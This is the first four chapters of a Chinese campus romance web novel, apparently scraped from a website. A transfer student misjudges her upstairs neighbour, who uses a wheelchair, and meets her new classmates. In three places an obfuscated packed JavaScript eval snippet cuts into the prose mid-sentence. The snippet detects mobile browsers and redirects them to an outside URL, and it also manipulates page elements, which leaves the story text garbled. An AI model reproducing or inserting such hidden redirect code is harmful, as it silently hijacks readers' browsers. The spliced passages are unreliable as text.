《嬉游[校园]》 1. 楼上 二月,屿城。 这座灰蒙蒙的工业化城市尚未对春天敞开怀抱,处处透着萧条,路边的树秃了顶,枯枝像杂乱生锈的铁丝,张牙舞爪,直冲天空。 草短莺衰,死气沉沉。 “我听说这学生有点性格,脾气不小,估计不好管,又是刚转学过来的,先让她去你班里,你多对她上点心……” 此时,不好管的转学生明厘正靠在办公室墙外,雨伞竖在脚边,嘀嗒流水,门半开着,年级主任的话通通落入她耳中。 她从门缝里看了一眼,主任旁站了个女老师,略矮,长发披在肩膀,背影瘦弱,声音小到听不清,只对着主任频频点头。 两人谈话结束,脚步声渐近,明厘赶紧扭过头,靠墙站好。 四五十左右的中年男老师率先出来,应该就是那位年级主任了。头顶幅员辽阔,光滑程度能开一家溜冰场。 “李老师好。”她恭恭敬敬地说。 顺便看了眼男主任的头顶。 “明厘对吧?来来来,欢迎你加入我们一中这个大家庭啊,”李主任面容和善,笑得像一尊弥勒佛,要不是亲耳听到,还以为刚才说她叛逆不好管是被夺舍了。 他边走指着女老师介绍,“这是你班主任巫老师,以后你就是一班的一份子了,今天把你叫过来呢,是登记一下学籍信息,校服和资料书什么的都领完了吧?” “已经领完了。” “哦,那行,明天算是正式开学,今天也有不少同学过来上自习,一班学习比较自觉,基本上都来了吧?明厘啊,高一时间紧迫,那你就……” “那我就先回家了。”明厘乖巧回答。 …… 那句劝她去班里自习的话还没说出口就被堵住,李主任皱眉,不满地啧了一声,和旁边的女老师互看一眼。 一副“看吧,我早说了她是这德行”的表情。 沉默的女老师打了个圆场,温柔地对明厘说:“如果家里有事你就先回去吧,明天不要迟到就好了。” “那什么,你俩聊着,我得开会去了。”主任看了眼手机,也没管她,匆匆就走了。 “老师再见。” 明厘又忍不住看了眼他头顶。 走廊上只剩下两个人。 这位巫老师比她想象的更瘦,下巴只剩个尖尖,但眼睛又很大,因此显出几分病态。 主任走远后,巫老师先是笑了下,转头问:“刚才办公室里……你都听到了吧?” 直截了当,反倒是明厘被噎了下,尴尬地笑了笑。 巫老师没有过多反应。 “一中的情况你可能还不太了解,”她淡淡地说,“这里最不缺的就是优秀学生和走后门的学生。” “走后门”这种话居然能拿到明面上说,明厘看了眼面前的女老师。 “作为班主任,每个同学的情况我事先也有了解,不管是学习上还是生活上,总之一班的每位同学都很优秀,相信你也一样,对吗?” 小学生都听得出来她有潜台词,但明厘不想深究。 想太多容易钻牛角尖,钻牛角尖晚上会睡不着,睡不着会脱发。 她还年轻,不能秃。 明厘秉持着“我是笨蛋我是笨蛋我是笨蛋”的原则,听到什么,回答什么。 “是的,老师。” 老师温和看着她,明厘回以坦然自若的笑容。 最近发生的事情太多、太乱,又接连几天下雨,她心底埋藏的陈旧情绪早已生出一层薄薄霉菌,细密绒毛附在表层,谢绝任何人靠近。 接下来,只需要做个不惹事的透明关系户,收起锋芒,收起骄傲,安安稳稳,本本分分地度过高中三年就够了。 明厘礼貌地和老师说了再见,大步走出了教学楼。 * “走!老广场新开了家游乐园,玩过山车去!” 游灿抬头,“有病?我站都站不起来,让我去玩过山车?” “没让你玩,你看着我玩。” 游灿:“那你怎么不自己去?” “不行,人太多了我排不上队。” 游灿:“所以?” “所以我推着你去,坐轮椅的能走VIP通道,免排队。” 游灿沉默两秒,拎起手边的拐杖,大力甩过去,男生弯腰灵活一躲,顺脚把拐杖踢到地上。 “嘭——” 明厘倏地睁开眼睛。 房间内漆黑、沉闷,伸手不见五指,她应该是做了噩梦,不知被什么东西吓醒了。 几秒后,狂叫的闹钟提醒她现在是18点整。 屏幕白光有些刺眼,她熄灭光源,任由房间再次坠入一片漆黑。 傍晚,黑夜,沉寂。 每每这个时间点醒来,都有种怅然若失和巨大的孤独感。 明厘起身,拉开窗帘——尽管窗外也是一片漆黑。 她快速套上拖鞋,拧开水龙头,用凉水洗了把脸,强行把心绪拉回现实生活。 和许多拥有西海岸作息的大学生一样,小明同学的一天,从傍晚18点开始。 学习的时候,她喜欢只开一盏桌前小灯。 四周漆黑,犹如遁入海底,充满安全感的安静环境很容易让人集中注意力。 三个小时后。 嘭嘭! 楼上两声巨响,明厘回神,下意识看了眼天花板,皱了眉。 旧小区隔音差,楼上敲击、拖拉,噪音不停,每回都得半个多小时,今晚更加过分,一个多小时了还没消停。 晚上她瞪了眼天花板。如果,楼上胆敢再敲一下,她就去砸门。 也许是怒气透过天花板传到楼上,屋内很快安静下来。 她翻了个白眼,化悲愤为动力,杀气腾腾地盯着面前的几何题目,下笔如有神,流畅地写出一行行运算。 都说人在极度愤怒的情况下,往往会拥有无限潜力,类比狗急了跳墙或者兔子急了咬人,总之没有什么是做不出来的。 ——除了数学题。 五分钟后,明厘盯着试卷上的大红叉愣了神。 前半部分是选择和填空,70分,客观题,这个毫无争议。后半部分解答题倒是都写满了,但就算加上同情分和辛苦分也只有68。 满分150的卷子,错这么多题,搞不好自信心受挫十天半个月都不敢碰数学。 她把试卷翻过来,70+68。 大笔一挥,在卷头写上一个靓丽的150分。 呼。 这次又是满分。她挺满意,趁热打铁,又翻开解析仔仔细细看错题。 咚——又是一记声响。 反应过来时,明厘已经站在了楼上的门口,她必须要跟楼上好好谈谈。 楼道里温度低,她裹紧外套,抿着唇砰砰两声,敲了门。 …… 没人回应。 几秒后,砰的一声巨响,像是重物落地,屋内传来一阵拖拉声,那感觉……应该是大型动物在地上拖拽的摩擦声。 明厘心里咯噔一声,脑海中闪过无数美国大片,黑色、血腥、暴力与搏斗……她在原地呆滞两秒,马上拔腿逃下去。 不是她能屈能伸,这声音听着太诡异了。 可就在此时,嘎吱一声,门开了。 明厘咽了咽口水,双腿一软差点跪在楼梯上,她缓缓转过头去。 只见门开了个小缝,但看不见里面的人,接着,一道富有少年感的声音传了出来。 “谁啊?” 是个活人。 明厘悬着的心脏重重落地,她闭了闭眼调整呼吸,然后才开口,“我是住在楼下的。” “噢,”男生声音有些不耐烦,“什么事?” …… 听听,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灯光下,男生的眼睛清澈明亮,对上他眼眸的那一刻,明厘立刻就慌了,“我不是这个意思……你用吧,你用!” “哦,那你……” “我打扰了,不好意思,再见!” 明厘溃不成军,仓皇逃窜回卧室。 上楼时雄赳赳气昂昂,下楼时心沉沉意凉凉。 闭眼,躺在小床上,她脑海中忽然闪过一个画面。 刚刚在楼上,地上散落着几张白纸,她只瞥了一眼,似乎写着……XX康复医院? 明厘直挺挺躺在床上,表面风平浪静,内心波涛汹涌,一个声音萦绕在耳边久久不散。 “你是不会走路吗?能不能把脚抬起来轻轻地走?” “你是不会走路吗?” 她猛地拽过枕头捂住脸。 “你、是、不、会、走、路、吗——” 又捂住耳朵。 怪不得,她说出“走路”时,他立刻就红了眼。 那根本是被人捅了伤口的生理反应。 她居然大晚上的跑去为难一个苦命的残障人士,还怪人家用拐杖声音太大。 如果不是命运多舛,他想用拐杖吗? 如果不是实在没办法,他想故意制造噪音的吗?他不想拥有一双健全的双腿吗? 两点。 明厘从床上一骨碌坐起来,想给自己两巴掌。 但她没舍得下手。 同一时间,楼上。 “祖宗啊…”游灿哀怨地掀开蓝色毯子,把底下那团橘猫拎出来,“赶紧睡觉,没听到楼下都来投诉了啊。” 他费力地滚着轮椅,动作生疏导致东倒西歪,拐着S弯回了卧室,留下缴费单在地板上过夜。 昏黄的小灯照亮了上面的一行字:甜蜜蜜宠物康复医院。 2. 送书 第二天,明厘踩着点到了教务处报道。 巫老师负责把她领进班级,她讲话柔声细语,像哄孩子,笑着提议要不要上台做个自我介绍,顺便表演个节目,唱个歌跳个舞都行,给同学们留点印象? 明厘坚定地摇摇头,说千万不要。 老师没有勉强,她提前去了教室讲话,让明厘在教室外等一会儿。 开学第一天,同学们都挺兴奋,老师在上面讲着,里面时不时爆发哄笑,还夹着几个男生大声说话敲桌子的声音。 不用想就知道,里面该是怎样一副热闹熙攘的景象。 走廊上冷冷清清,从头到尾只站了她一个人,外面风声呼啸嘶吼,却还是遮不住教室里面的欢笑声。 她听了一会儿,又扭头去看了看教室外贴着的荣誉榜。和之前的学校差不多,一半是优秀试卷展示,另一半是优秀学生展示。 说是优秀学生,其实就是上学期末的前五名。墙上没有照片,只有姓名、分数以及排名。 明厘的视线自然而然地落在第一名。 游灿,935.5分,第一名,第一名。 前面是班级排名,后面是年级排名。 明厘原本的学校满分只有630,初来乍到,她不太理解935.5分是什么概念,目光向下,看到第二名的分数。 882分。 也就是说,这位姓游的大佬凭一己之力,拉了第二名将近50分。 没有紧张害怕,也没有危机感,她反而有点好奇。 轻轻松松甩开第二名50分,她也能做到。 不过还是有点区别的,她之前在普通中学,毕竟生源差点,一二名悬殊很大也能理解,但在遍地学神的一中,50分的分差就很恐怖了。 没等她思考完,巫老师温柔地把她从后门领进教室,安排在靠墙的座位上,明厘悄无声息地加入了新班级。 “你先和同学们熟悉一下,有什么问题就去三楼最右侧的办公室找我吧。” 巫老师拍拍她的肩膀,不再多说就出了教室。 明厘刚坐下,都还没来得及看一眼同桌是谁,前排的男生就按捺不住好奇心转过头来。 “你哪个班的?怎么突然坐这儿了?” 明厘说:“转学的。” 转学生走到哪都是珍稀物种。男生惊了下,一连三问,“真的假的?转学?新同学,叫什么啊?” 明厘没说话,从书包里抽出一个笔记本,掀开封面给他看名字。 “你这姓挺特别啊,不是屿城本地人吗?”男生念着她名字,后背倚在墙上,螃蟹一样横在两张桌子中间,偏头和她说话。 “不是,从海城过来的。” 男生穿蓝色T恤,皮肤有点黑,人长得倒是挺精神,不过连个自我介绍都没有。 明厘在心里给他取了个外号叫沸羊羊。 沸羊羊一听就激动了,“海城我知道啊!我姥姥就是海城人!每年我都去给我姥过生日,可远了,飞机都得三个多小时!” 明厘说:“嗯。” 沸羊羊张着嘴刚要再嚷嚷两下,他余光往教室前门一瞥,拿胳膊肘戳他同桌,“哎呦卧槽!快点快点,语文卷子给我!”瞬间把身体扭了回去。 明厘抬眸看去,果然,下一秒就有个老师就抱着一沓书走进了教室,“贺鸣飞你干什么呢!上自习了啊,开学第一天就交头接耳,不老老实实补作业还有空聊天啊?” 老师一来,周围人拖拖拉拉安静下来,但安静归安静,看得出一个个都挺着急,忙着补作业呢。 尤其是前排的沸羊羊,桌子上起码同时摊开了三张卷子,这里写一笔那里画一道,唰唰唰像个粉刷匠。 没作业的明厘闲得要死,默默地在教室待了整个下午,没跟同桌说上一句话,接了三次水,去了两次厕所,听得最多的两句话分别是“来不及了”以及“借我抄抄”。 神游一下午后,明厘迷迷糊糊回了家。 “我回来了。” “回来了?” 厨房内,老式抽油烟机轰隆声伴着热油的噼里啪啦声,她走过去洗手,看到明岚居然系着围裙在炒菜。 “今天不忙,我早点回来给你做饭。” 这就难得了。妈妈几乎不会出现在厨房,她的时间永远花在更有价值的事上,比如加班。 更难得的是,这是母女俩冷战后的第一次破冰。 “开学第一天,和同学相处的怎么样?” 明岚自然地问话,仿佛先前的争吵从未发生。 明厘说:“挺好的,做了自我介绍,记住了前后左右同学的名字,明天约了一起吃饭。” “行,帮我拿个鱼碟过来。” 又来了。 和以往所有的吵架流程如出一辙。 歇斯底里争吵,然后是冷战,再然后,也许是一顿饭,也许是一件新衣服,由妈妈单方面宣布破冰。 破得不明不白,莫名其妙。 但结局无一例外,母慈女孝,和和美美。 明岚把菜盛出来,说:“对了,我下班回来的时候见楼上邻居那位老爷爷了,闲着没事聊了两句,人还挺和气,桌上那盒点心就是他送的。” “老爷爷?” 明岚说:“对,好像跟他外孙一块住呢,那孩子估计和你差不多大,你没见过吗?” 明厘一口水没喝下去,差点呛到,赶忙说:“没、没见过。” “老人家是个教授呢,文质彬彬的,正好我这糖醋小排做多了,吃完饭你给人送点去吧。” 明厘低头吃排骨,眼神微微躲闪,“哦好,我这就去送。” “等会你从我卧室里拿几本书一块给送去,就当是礼物了,搬过来半个多月也没好好跟人打个招呼,多不好意思,要不是今天见着老爷子,我还以为楼上没人住。” 明岚吃完饭后收拾了自己的碗筷,又嘱咐说:“我得去开个会,你抓紧送去吧,不然一会儿排骨该凉了。” “我这就去,你去忙吧。” 吃完饭后,妈妈去工作,她负责洗碗收拾桌子,分工明确。 她没找到明岚说的书在哪,就从自己房间里抽了几本。一手提着保温桶,一手抱着书,再次踏上台阶。 开门的依旧是那男生。 他坐在轮椅上,还是昨晚那副打扮,白卫衣,毯子从腿遮到地,严丝合缝。但这会儿明厘看清了他的长相。 不知道是不是生病的缘故,他皮肤很白,昨晚上只觉得他眼神亮,今天一看,眼睛又大又亮,眼皮是很浅的内双,眸子乌黑,是一双很容易讨喜的眼睛。 他头发依旧有点乱,显得整个人都很慵懒,后背靠在轮椅上跟个大爷一样。 男生懒洋洋地开口:“是你啊,有什么事吗?” 一看到他就想起昨晚的事,明厘又一阵心虚。 她站在门口就把保温盒递过去,“那个……我妈妈做的糖醋排骨,如果不介意的话……” “谁来了?”一位老人的声音由远及近。 她顺着声音望过去,果然有位戴眼镜的老爷爷走了出来。 她很有礼貌地打招呼,“爷爷您好,我是住在楼下的,给您送点排骨。” “哎哟,好孩子快进来快进来!怎么还带东西过来了,真是太客气了!” 老人态度十分热情,明厘半推半就也就跟着进了屋。 她尴尬地坐在沙发上,男生自食其力,自己推着轮椅在客厅里看电影。 “尝尝我泡的茶怎么样?”老爷爷和蔼地给她倒了杯热茶。 “谢谢爷爷,太麻烦您了,”明厘赶紧接过茶杯。 “你上高中了吧?” 明厘说:“是,我今年读高一。” “高一啊,”老人家似乎又想起点什么,“高一都是今天开学吧?” 明厘说:“嗯,今天上午开学。” “好孩子,听你妈妈说,你学习成绩也很优秀啊。” 老爷爷由衷地夸奖了她,这让明厘更加无所适从。 她悄悄看了眼轮椅上的男生,他专注地看着电影,手里随意捏了瓶可乐。从她的角度只能看到他的侧脸,像是拧着眉不太高兴,看不出来有没有在听他们的对话。 下一秒,老人就叹了口气,“要不是出了意外,小灿今天也该去报到……” 她顺着老人的视线看去,男生的腰部以下还蒙着厚实的毯子。 果然吧…… 听着老人家遗憾惋惜的语气,明厘心里也仿佛堵了块大石头,她赶紧安慰老人,“您别这么说,爷爷,世事难料……” 她有的没的扯了大通,最后硬着头皮说,“爷爷我先回去睡觉了,我以后常来看您!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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游乐园开业人山人海,光排队就得两个小时起步,一伙子人大摇大摆推着游灿就进去了,中途玩累了没地方坐,还把他撵下来轮流坐在轮椅上休息,完事后一个接着一个拿马克笔在游灿的石膏上签字留念。 好好的白色石膏被画的乱七八糟,来个人他就得遮起来,怕丢人。 他姥爷絮絮叨叨,“听说楼下刚搬过来,说不定啊处处不适应呢,你闲着没事多照应照应啊,你们都一般大的,小年轻聊着也有共同话题。” 游灿一听就乐了,“我脚都这样了还照顾啊,要不问问人家愿不愿意去游乐园,我也给她弄个VIP速通?” 姥爷啧了一声,“又瞎扯,谁闲着没事跟你似的光往外边跑?脚都骨折也不消停,你啊,还是伤的轻!” 游灿满不在乎说:“姥爷,我这是光荣负伤,见义勇为的勋章。” “还勋章呢,你先把那黑不溜秋的石膏赶紧换了,”姥爷指着他右腿的石膏嫌弃道:“对了,你妈今天还打电话问我了,还得多久能好?” 游灿说:“最少一个月吧。” “一个月?”老人眼睛一瞪,“你那学还上不上了?” “您当是擦破点皮呢,我可是从三楼飞下来的,再说了,就算一年不上学我也跟得上,您就放心吧!” 老人一甩手,“得,我是管不了你了,等着你妈回来挨骂吧。” 游灿拿了书,又蹦跶回轮椅上,“她整天忙着飞来飞去,光公司那摊子事就够操心的,哪有功夫管我?” 他滚着轮椅东倒西歪回了房间,又嘱咐姥爷:“您早点休息啊!明天天气不好,别出去钓鱼了。” 房间内。 游灿坐在桌子前,把邻居送的书打开。 他姥爷是个老书迷了,年轻的时候就喜欢研究诗词歌赋,尤其爱宋词,他最近行动不便,只能指望看书看电影打发时间了。 楼下那位一共送来三本书,沉甸甸的,很有诚意。 第一本,《康复医学与护理》 医学书?他对医学不太感兴趣。 他又看了看第二本:《从困境到希望》 游灿纳闷了,这是个什么意思? 他翻开最后一本,封面上写着几个大字:轮椅上的花朵。 游灿头顶上缓缓升起一排问号。 ???? 3. 突击 原本想着第二天就正式上课了,明厘装模作样带了一大包书去学校,结果沸羊羊说,今天上自习。 “为什么?” 沸羊羊:“噢,这是一中的老传统了,每个学期都是提前三天开学,这三天不上新课也不布置作业,给我们补作业的机会,怎么样,够人性化吧?” 开学冷静期,为期三天,美其名曰帮助学生收心。 明厘笑了笑说,“是挺人性化的”。然后掏出了书包里的《灌篮高手》。 也是在今天,明厘终于和同桌说上了话。 她不爱说话,没想到同桌更不爱说话,每次余光瞟过去,都能看到同桌在低头认真做题,从英语到数学,换了好几本。 明厘很喜欢安静,新同桌努力又爱干净,桌子上的书本文具整整齐齐,她看着很舒心。 但她不知道的是,在彼此无话的每一分钟里,同桌闻棠都在敏感地竖起耳朵,注意着她的动向。 两天了,闻棠一直在为没勇气和同桌搭话而惴惴不安。 余光瞥见明厘合了书,她也做足了心理准备,正要开口,人家又从书包里拿出一本漫画接着看了,她又畏手畏脚退回壳子里去。 一学期下来,她连班里的人都没认全,和后排的男生更是一句话都没说过,瞧瞧这糟糕的社交能力,她还是等人开口,顺着台阶下比较好。 不过,很快闻棠就等来了一个机会。 明厘低头看书,忽然,眼前覆上一片阴影,抬起头,看到一个高挑的女生站在面前。 女生啪地一下伸手盖在明厘的书上,笑嘻嘻地和她搭话,“同学,我是班里的团支书,叫朱嫣儿,你叫什么呀?咱们加个好友吧。” 朱嫣儿一屁股坐在沸羊羊的位置上,公然从明厘笔袋里翻出一支圆珠笔,给她写了一串号码,“这是我的Q.Q,你加一下我呗。” 明厘没说话,抬头看了她一眼,又垂眸看着被她压皱的书页。这书是她花了不少钱买的典藏版,封页都仔细包了书皮。 但朱嫣儿并不需要别人的回答,她自己扣着手指甲就开启了话茬,“说真的,我太羡慕你们这种脸小的美女了,上镜可漂亮了,不像我,脸又大又圆,丑死了!” 明厘把书从她手底下抽出来,抚平被她弄皱的纸张,平静地说:“你脸也不算大。” “我脸还不大啊?!”朱嫣儿捏着脸颊,语气夸张,“你看,腮帮上全是肉好吧,拍个照片可显胖了,合照我都得躲最后边,p都没法p!” 明厘沉默了两秒,抬眸看她一眼,然后再次打开书,“嗯,那还是你脸大。” “你……” 朱嫣儿眼睛一瞪,不可置信地抬头,瞬间哑了声。 再看看明厘,还是那副波澜不惊的样子,居然还悠然地看书,她站起来狠狠剜了明厘一眼,把凳子踢得震天响,回了座位。 同桌就是在这时候和明厘说了第一句话。 “那个……朱嫣儿好像生气了。” 明厘正慢慢回味着樱木流川世纪击掌的高燃桥段,反应慢半拍,“嗯?” 她眼睛还黏在书上,伸过脖子,“朱嫣儿是谁?” …… 闻棠前一秒还如临大敌,担心同桌把人弄生气了怎么办,结果发现她好像根本没往心里去。 她抓住机会,把自己知道的信息分享给她,“就是刚刚那个女生,是咱们班的团支书。” “哦,”明厘恍然,看了眼同桌,认真道:“谢谢你。” 闻棠不好意思地笑笑,“没事。” 上学期刚入学那会儿,朱嫣儿用了同样的夸奖来跟她套近乎,夸她眼睛大,睫毛长,像个洋娃娃。闻棠受宠若惊,当时就脸红了,支支吾吾地啊了半天只会说个谢谢。 可惜当时的闻棠并不懂,朱嫣儿和每个人拉近距离的方式都是夸人。所以,等闻棠自认为收获了知心好友,上赶着巴巴地找人家一起去卫生间时,朱嫣儿围在几个女生之间,笑着大声问她:“同学你叫什么名字来着?” 身边的同学跟着看过来,几个陌生人的目光同时打在她脸上的刹那,闻棠顿时体会到了什么叫想钻地缝,她耳朵再次不争气地变红,只能尴尬笑着僵硬地走了。 所以,刚刚明厘脱口而出一句“那还是你脸大”时,她吓得差点打翻了桌面上的水杯。 害怕归害怕,但……这回答也太爽了,她对这位新同桌肃然起敬。 相比于喜怒无常的朱嫣儿,明厘的坦坦荡荡更让人觉得踏实。 闻棠悄悄看了眼同桌的侧脸,其实她还想再聊聊八卦,比如朱嫣儿就是脾气大且没礼貌的人,她早就看透了。哦对了你是新来的,大概还没见过任课老师吧,想不想听听他们的八卦?咱们一班可是配备了最好的师资力量哦。还有,班里那位第一名的大神不仅学习成绩好,长得也挺好看的…… 但她还没张嘴,就看到明厘又埋进了那本漫画书里,完全没有关心周围的迹象。 闻棠默默地又把话咽了回去。 * “同学,你是明厘吗?巫老师叫你去趟办公室。” 明厘抬头,有个女生站在她面前,提醒她。 “好,我知道了,谢谢。” 她放下书就往外走,路过外面的荣誉榜,又看了一眼,昨天没注意,排行榜上的第二名,可不就是叫闻棠。 她同桌? 闻棠努力又认真,成绩名列前茅是肯定的。想到这里,明厘又多看了几眼那位第一名,不禁有些好奇。 这得学成什么样才能拿下年级第一? 但,经常考第一的人都知道,越往上走提升越难,靠的也不光是努力。 不知道这位游灿同学靠什么。 游灿的话,命里缺火,性格孤僻,为人高傲,单从名字来看,学业也就平平,明厘不屑地想。 巫老师给她泡了杯橙汁,温柔地说:“昨天还没来得及找你细聊,屿城冬天挺冷吧,搬来这边还适应吗?” “还可以,确实感觉比南方冷一点。” 巫老师点点头,“那就好,南北方差异挺大,怕你会不习惯,刚开学还不用着急,学习上生活上如果有困难,都可以来找我。” 明厘说:“嗯,我会努力跟上的。” 说完,她低头飞速瞟了眼手表。 七分钟了,谈来谈去都是车轱辘话,还没进入正题,明厘预感不妙。 上课时间快到了,巫老师对面的男老师收拾了书本,快步走出办公室。 这么一来,办公室里只剩下她们两个。 果不其然,确认门关好之后,巫老师开口:“之前我接到了你妈妈的电话,嗯……我们先说一下文理分科的问题吧。” “一中历年是高一结束填写分科表,高二正式分科,你之前成绩也很优秀,对选科有什么想法吗?” 明厘老实回答:“我不偏科,文理都行。” “按照你妈妈的意思,还是希望你侧重理科。” 明厘乖巧回答,“嗯,我会在理科上多下功夫的。” “行,你自己把握就好了,还有就是竞赛的事……” 咚地一声,心里的石头落地,明厘默默叹了口气。 还是来了。 从进门到现在,无非就是为了这个话题。 “按照你先前的竞赛成绩,走数学竞赛这条路,国内顶尖名校肯定没问题的,作为数学老师,我真心觉得,放弃竞赛有点遗憾,更何况你已经拿到了省级一等奖,只要去国家队集训一段时间,就算最后拿不到金牌,自身水平也能得到很大的提高呀。” 巫老师言辞恳切,话里话外都替她感到不甘。 高考事关重大,走竞赛和走普通高考是两条完全不同的路,必须有所取舍。万千泥沙过江,只有零星几粒会偏离航道,幸运地跳出,提前上岸。 大部分学生依旧规规矩矩,顺流而下。 竞赛极吃天赋。 也是因此,放弃竞赛的大有人在,但面前的女生不一样。 她是公认的天赋型选手。 按照传统路线,进入省队,拿奖,进入国家队,过关斩将,代表中国参加IMO比赛,拿到金牌希望非常之大。 到时候,进入顶尖名校只是探囊取物。 然而明厘只是淡然一笑,说:“老师,我真的不打算学了。” 没有借口,没有理由,她没再给老师往下劝说的机会。 “您放心,我会好好准备普通高考的。” 她神色坚定,巫老师本想再劝几句,但最终只是叹了口气,拍了下她肩膀,“走吧,咱们先回去上课。” “好的。” 回到班里的时候,她跟着老师从前门进入教室。 门刚一推开,就正面迎上了几十道目光。 被人盯着的感觉挺尴尬,更何况是一屋子的眼睛。昨天忙着补作业的同学都从四面八方得知了消息,哦,班里来新同学了。 第一反应就是好奇。 新同学?长啥样?学习好不?从哪过来的……? 太可怕了。 明厘不太喜欢被人盯着的感觉,非常、极其不喜欢。 像是自己的一举一动,都会被放大、放慢,然后任由别人挑错。 而她,本来就浑身都是小毛病,没什么优点。 她迅速回了座位。 巫老师站在讲台上拍了拍手,示意大家看讲台。明厘这才回过神来,一中居然安排这么年轻的老师当班主任,看上去也就大学刚毕业,说话轻声细语,能镇住班里的学生? “新学期开学,咱们强调个事啊,”巫老师扫了眼全班,说:“老生常谈了,手机的问题。” 底下好几十个人纷纷起哄,嗐了一句。 “还以为什么事儿呢!” “老师,这还用说啊?” “我们都挺自觉啊。” “放心吧,没人偷着带手机!” 呜呜泱泱乱成一锅粥,你一句我一句,都抢着说。 巫老师笑着拍了两下手,然后,这班里还真就静下来了。 “别以为我不知道啊,开学第一天没带手机才怪了,一个个的,在这跟我演戏呢。”她目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375842|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫过全班同学,精准地落在后排,“说你呢贺鸣飞,把你耳机收起来!” 贺鸣飞,明厘版的外号叫沸羊羊。拔尖的绝活有两样,跑步和接话茬儿。 沸羊羊喊着:“随你搜,老师,搜出来我自罚三套卷子!” 巫老师说:“还敢跟我赌,你上学期欠了多少张卷子了?班长呢?” 有位女生举了手。 “报告老师,贺鸣飞上学期欠63张卷子和4盆绿植。” 全班哄堂大笑。 巫老师也笑了,“再敢猖狂就给你加利息啊。” 贺鸣飞挤出一句无声的“靠……”,缩在凳子上老实了。 “刚从假期里爬出来,有戒断反应很正常,但是咱们提前说好了,手机是一律不准带到教室来,如果被我逮住了,罚卷子加绿植加请家长一条龙,听懂了吗?” 全班又是一阵哀嚎。 “行了,都别嚎了,赶紧补作业吧。” 老师虽然没指到她,但闻棠一阵心虚,她家离得远,住在学校宿舍,所以临时带了个老年机来接打电话。那下周回家的时候,可得把手机扔家里,不然被查到就完了。 闻棠不自觉看了眼同桌,被吓了一跳。只见明厘旁若无人地把手机从书包里掏了出来,放在桌面上,噼里啪啦地跟人发消息。 闻棠被她这种高危行为吓得瞠目结舌,老师还没走呢! 正在高危作业的明厘哪顾得上闻棠的表情,她忙着和以前的同桌聊天。 芭娜娜:你分到几班去了啊?啊不管怎么说肯定是重点班呗。对了,给我看看你们教材什么样,挺好奇的。 明厘:教材还没发呢,我也不知道什么样。 老师刚走,她转头问同桌:“一中有几个重点班?” 以明岚女士的作风,她进的班肯定是最好的,但明厘还不太清楚这学校的排班结构。 闻棠怔了一下,“好像……一中没有重点班吧?” 明厘从手机屏幕上抬眸,有点讶异,“什么?” 前面的贺鸣飞又横过来,“对啊!你不知道吗?一中从来不设什么平行班重点班啊哈哈哈哈哈哈!” 他们三言两语一通解释,但是明厘听明白了。 一中设定的中考分数线极高,每年从整个屿城抽好学生,市里再加上下面的县城,能考进来的都是当地的数一数二的学霸,每个班就30人,精英小班制,所以不分重点班。 这意味着什么呢? 意味着,每个班都是重点班。 明厘扫了眼班级,得出一个结论:除了她和最后排的那个空位,班里28名同学,每个人都是精英,每个人都闪闪发光。 明岚女士真是心大,开学前半个月才带着她搬家转学,就不怕她考个倒数第一? 视线回到屏幕,前同桌估计是还没开学,闲得无聊,顶着一张黄色大香蕉头像还在不断给她发消息。 芭娜娜大惊:你没提前预习? 小明:没有。 芭娜娜:佩服,不愧是大佬。那你考试咋办,那边的题型跟海城都不一样吧? 小明:不急,就算是月考也还有一个月呢,足够我熟悉题型了。 芭娜娜:行吧,谁让你学习牛逼呢。 芭娜娜:话说你真帮我好好看了吗,那么大城市就找不到一个帅哥?网上都说了屿城遍地长腿欧巴啊,两条腿的蛤蟆不好找,两条腿的男人还不好找吗? 明厘手指飞速打字,zhenmeiyo—— 嗯?两条腿的男人? 等一下? 脑海中突然蹦出来一个清瘦的身影,白色卫衣,笑起来眼睛很亮。明厘不自觉弯了唇角,“好像有一个。” 芭娜娜:? 小明:但是有个小问题—— 她刚想回复,眼角看到门口出现的人影,机灵地把手机塞进桌洞。 年轻的女老师拿着一沓卷子走了进来,明厘当时就觉得这架势不对。 “来,往后传吧。老规矩,只做客观题啊,然后和二班换着批改。” 她愣了一下。 直到前排的贺鸣飞把卷子递给她。 “你不是说上自习吗?” 贺鸣飞摸了摸鼻子,“我没说上自习啊,我说的不上新课也不布置作业,但是没说不考试啊。” 然后,他就在明厘的脸上看到了“绝望”两个字。 沸羊羊笑死了,“没事儿,英语小测怕啥,格格她人很好说话,放心放心!” 明厘听得一头雾水,还是闻棠好心帮她解了惑。 “格格就是咱们英语老师,她是满族人,我们就叫她格格。” 敢直接当面喊老师的外号吗? 明厘心说:这位格格老师肯定是个与民同乐的。 拿到手的是一整套英语卷子,明厘翻过来,又翻过去,心终于死了。 除了阅读理解,一道眼熟的题型都没有。 考试时间一个小时,当场出分数出排名,现宰现杀! 明厘只想扒了芭娜娜的皮,说什么来什么,这乌鸦嘴。 4. 返校 被叫做“格格”的英语老师去年刚生了个女儿,看谁都带着慈爱的目光,她身形微微圆润,走起路来一晃一晃,很可爱。 发完卷子后,她抬头看了眼后排,说:“别忘了给游灿留一张啊,谁和他住得近来着?回家的时候打包送过去吧,明天让他给我发照片对答案。” 贺鸣飞举了举手,“放心吧格格,我给送去,保证盯着他完成。” 